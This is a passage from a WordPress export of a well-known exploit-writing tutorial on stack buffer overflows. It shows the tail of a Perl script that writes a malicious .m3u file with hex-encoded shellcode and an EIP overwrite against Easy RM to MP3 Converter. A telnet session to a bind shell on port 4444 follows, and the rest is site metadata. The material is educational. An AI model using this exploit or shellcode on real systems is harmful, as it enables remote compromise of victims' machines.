#006080;\">\"\\x47\\x44\\x39\\x48\\x46\\x43\\x49\\x50\\x57\\x4b\\x4f\\x48\\x56\\x50\"<\/span> . \n<span style=\"color: #006080;\">\"\\x55\\x4b\\x4f\\x48\\x50\\x42\\x46\\x42\\x4a\\x42\\x44\\x45\\x36\\x45\"<\/span> . \n<span style=\"color: #006080;\">\"\\x38\\x45\\x33\\x42\\x4d\\x4d\\x59\\x4b\\x55\\x42\\x4a\\x46\\x30\\x50\"<\/span> . \n<span style=\"color: #006080;\">\"\\x59\\x47\\x59\\x48\\x4c\\x4b\\x39\\x4a\\x47\\x43\\x5a\\x50\\x44\\x4b\"<\/span> . \n<span style=\"color: #006080;\">\"\\x39\\x4b\\x52\\x46\\x51\\x49\\x50\\x4c\\x33\\x4e\\x4a\\x4b\\x4e\\x47\"<\/span> . \n<span style=\"color: #006080;\">\"\\x32\\x46\\x4d\\x4b\\x4e\\x51\\x52\\x46\\x4c\\x4d\\x43\\x4c\\x4d\\x42\"<\/span> . \n<span style=\"color: #006080;\">\"\\x5a\\x50\\x38\\x4e\\x4b\\x4e\\x4b\\x4e\\x4b\\x43\\x58\\x42\\x52\\x4b\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4e\\x4e\\x53\\x42\\x36\\x4b\\x4f\\x43\\x45\\x51\\x54\\x4b\\x4f\\x49\"<\/span> . \n<span style=\"color: #006080;\">\"\\x46\\x51\\x4b\\x46\\x37\\x46\\x32\\x50\\x51\\x50\\x51\\x46\\x31\\x42\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4a\\x45\\x51\\x46\\x31\\x46\\x31\\x51\\x45\\x50\\x51\\x4b\\x4f\\x48\"<\/span> . \n<span style=\"color: #006080;\">\"\\x50\\x43\\x58\\x4e\\x4d\\x4e\\x39\\x45\\x55\\x48\\x4e\\x51\\x43\\x4b\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4f\\x49\\x46\\x43\\x5a\\x4b\\x4f\\x4b\\x4f\\x47\\x47\\x4b\\x4f\\x48\"<\/span> . \n<span style=\"color: #006080;\">\"\\x50\\x4c\\x4b\\x46\\x37\\x4b\\x4c\\x4c\\x43\\x49\\x54\\x45\\x34\\x4b\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4f\\x4e\\x36\\x50\\x52\\x4b\\x4f\\x48\\x50\\x43\\x58\\x4c\\x30\\x4c\"<\/span> . \n<span style=\"color: #006080;\">\"\\x4a\\x44\\x44\\x51\\x4f\\x46\\x33\\x4b\\x4f\\x48\\x56\\x4b\\x4f\\x48\"<\/span> . \n<span style=\"color: #006080;\">\"\\x50\\x41\\x41\"<\/span>; \nopen($FILE,<span style=\"color: #006080;\">\"&gt;$file\"<\/span>); \nprint $FILE $junk.$eip.$shellcode; \nclose($FILE); \nprint <span style=\"color: #006080;\">\"m3u File Created successfully\\n\"<\/span>;<\/pre>\n<p>Create the m3u file, open it in the application.\u00a0 Easy RM to MP3 now seems to hang :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image16.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb16.png\" alt=\"image\" width=\"384\" height=\"154\" border=\"0\" \/><\/a><\/p>\n<p>Telnet to this host on port 4444 :<\/p>\n<pre><a href=\"mailto:root@bt:\/\">root@bt:\/<\/a># telnet 192.168.0.197 4444 \nTrying 192.168.0.197... Connected to 192.168.0.197. Escape character <span style=\"color: #0000ff;\">is<\/span> <span style=\"color: #006080;\">'^]'<\/span>. \n\nMicrosoft Windows XP [Version 5.1.2600] \n(C) Copyright 1985-2001 Microsoft Corp. \n\nC:\\Program Files\\Easy RM to MP3 Converter&gt;<\/pre>\n<p>Pataboom ! Now go out and build your own exploits. Don\u2019t forget to make yourself some nice ascii art, get a l33t name, and send your greetings to me (corelanc0d3r) \ud83d\ude42<\/p>\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Last friday (july 17th 2009), somebody (nick)named \u2018Crazy_Hacker\u2019 has reported a vulnerability in Easy RM to MP3 Conversion Utility (on XP SP2 En), via packetstormsecurity.org. (see http:\/\/packetstormsecurity.org\/0907-exploits\/). The vulnerability report included a proof of concept exploit (which, by the way,\u00a0 failed to work on my MS Virtual PC based XP SP3 En). Another exploit was &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"Exploit writing tutorial part 1 : Stack Based Overflows\"<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[244,245,127],"tags":[3741,3733,1836,1834,1828,1824,1817],"class_list":["post-2114","post","type-post","status-publish","format-standard","hentry","category-exploit-writing-tutorials","category-exploits","category-security","tag-exploit-development","tag-exploit-development-tutorial","tag-stack","tag-shellcode","tag-overflow","tag-metasploit","tag-eip"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Exploit writing tutorial part 1 : Stack Based Overflows - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Exploit writing tutorial part 1 : Stack Based Overflows - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"Last friday (july 17th 2009), somebody (nick)named \u2018Crazy_Hacker\u2019 has reported a vulnerability in Easy RM to MP3 Conversion Utility (on XP SP2 En), via packetstormsecurity.org. (see http:\/\/packetstormsecurity.org\/0907-exploits\/). The vulnerability report included a proof of concept exploit (which, by the way,\u00a0 failed to work on my MS Virtual PC based XP SP3 En). Another exploit was &hellip; Continue reading &quot;Exploit writing tutorial part 1 : Stack Based Overflows&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2009-07-19T06:55:19+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-04-01T11:37:55+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/win32processScreenshot-2026-03-31-at-19.24.55.png\" \/>\n<meta name=\"author\" content=\"corelanc0d3r\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/19\\\/exploit-writing-tutorial-part-1-stack-based-overflows\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/19\\\/exploit-writing-tutorial-part-1-stack-based-overflows\\\/\"},\"author\":{\"name\":\"corelanc0d3r\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\"},\"headline\":\"Exploit writing tutorial part 1 : Stack Based Overflows\",\"datePublished\":\"2009-07-19T06:55:19+00:00\",\"dateModified\":\"2026-04-01T11:37:55+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/19\\\/exploit-writing-tutorial-part-1-stack-based-overflows\\\/\"},\"wordCount\":6937,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/19\\\/exploit-writing-tutorial-part-1-stack-based-overflows\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/win32processScreenshot-2026-03-31-at-19.24.55.png\",\"keywords\":[\"exploit development\",\"exploit development tutorial\",\"stack\",\"shellcode\",\"overflow\",\"metasploit\",\"eip\"],\"articleSection\":[\"Exploit Writing Tutorials\",\"Exploits\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/19\\\/exploit-writing-tutorial-part-1-stack-based-overflows\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/19\\\/exploit-writing-tutorial-part-1-stack-based-overflows\\\/\",\"name\":\"Exploit writing tutorial part 1 : Stack Based Overflows - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/19\\\/exploit-writing-tutorial-part-1-stack-based-overflows\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/19\\\/exploit-writing-tutorial-part-1-stack-based-overflows\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/win32processScreenshot-2026-03-31-at-19.24.55.png\",\"datePublished\":\"2009-07-19T06:55:19+00:00\",\"dateModified\":\"2026-04-01T11:37:55+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/19\\\/exploit-writing-tutorial-part-1-stack-based-overflows\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/19\\\/exploit-writing-tutorial-part-1-stack-based-overflows\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/19\\\/exploit-writing-tutorial-part-1-stack-based-overflows\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/win32processScreenshot-2026-03-31-at-19.24.55.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/win32processScreenshot-2026-03-31-at-19.24.55.png\",\"width\":599,\"height\":415},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/07\\\/19\\\/exploit-writing-tutorial-part-1-stack-based-overflows\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Exploit writing tutorial part 1 : Stack Based Overflows\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\",\"name\":\"corelanc0d3r\",\"pronouns\":\"he\\\/him\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"caption\":\"corelanc0d3r\"},\"description\":\"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.\",\"sameAs\":[\"https:\\\/\\\/www.corelan-training.com\",\"https:\\\/\\\/instagram.com\\\/corelanc0d3r\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/petervaneeckhoutte\\\/\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\"],\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/admin0\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Exploit writing tutorial part 1 : Stack Based Overflows - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/","og_locale":"en_US","og_type":"article","og_title":"Exploit writing tutorial part 1 : Stack Based Overflows - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"Last friday (july 17th 2009), somebody (nick)named \u2018Crazy_Hacker\u2019 has reported a vulnerability in Easy RM to MP3 Conversion Utility (on XP SP2 En), via packetstormsecurity.org. (see http:\/\/packetstormsecurity.org\/0907-exploits\/). The vulnerability report included a proof of concept exploit (which, by the way,\u00a0 failed to work on my MS Virtual PC based XP SP3 En). Another exploit was &hellip; Continue reading \"Exploit writing tutorial part 1 : Stack Based Overflows\"","og_url":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2009-07-19T06:55:19+00:00","article_modified_time":"2026-04-01T11:37:55+00:00","og_image":[{"url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/win32processScreenshot-2026-03-31-at-19.24.55.png","type":"","width":"","height":""}],"author":"corelanc0d3r","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/"},"author":{"name":"corelanc0d3r","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f"},"headline":"Exploit writing tutorial part 1 : Stack Based Overflows","datePublished":"2009-07-19T06:55:19+00:00","dateModified":"2026-04-01T11:37:55+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/"},"wordCount":6937,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/win32processScreenshot-2026-03-31-at-19.24.55.png","keywords":["exploit development","exploit development tutorial","stack","shellcode","overflow","metasploit","eip"],"articleSection":["Exploit Writing Tutorials","Exploits","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/","url":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/","name":"Exploit writing tutorial part 1 : Stack Based Overflows - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/#primaryimage"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/win32processScreenshot-2026-03-31-at-19.24.55.png","datePublished":"2009-07-19T06:55:19+00:00","dateModified":"2026-04-01T11:37:55+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/#primaryimage","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/win32processScreenshot-2026-03-31-at-19.24.55.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/win32processScreenshot-2026-03-31-at-19.24.55.png","width":599,"height":415},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Exploit writing tutorial part 1 : Stack Based Overflows"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f","name":"corelanc0d3r","pronouns":"he\/him","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","caption":"corelanc0d3r"},"description":"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.","sameAs":["https:\/\/www.corelan-training.com","https:\/\/instagram.com\/corelanc0d3r","https:\/\/www.linkedin.com\/in\/petervaneeckhoutte\/","https:\/\/x.com\/corelanc0d3r"],"url":"https:\/\/www.corelan.be\/index.php\/author\/admin0\/"}]}},"views":893619,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2114","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=2114"}],"version-history":[{"count":30,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2114\/revisions"}],"predecessor-version":[{"id":19082,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2114\/revisions\/19082"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=2114"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=2114"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=2114"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}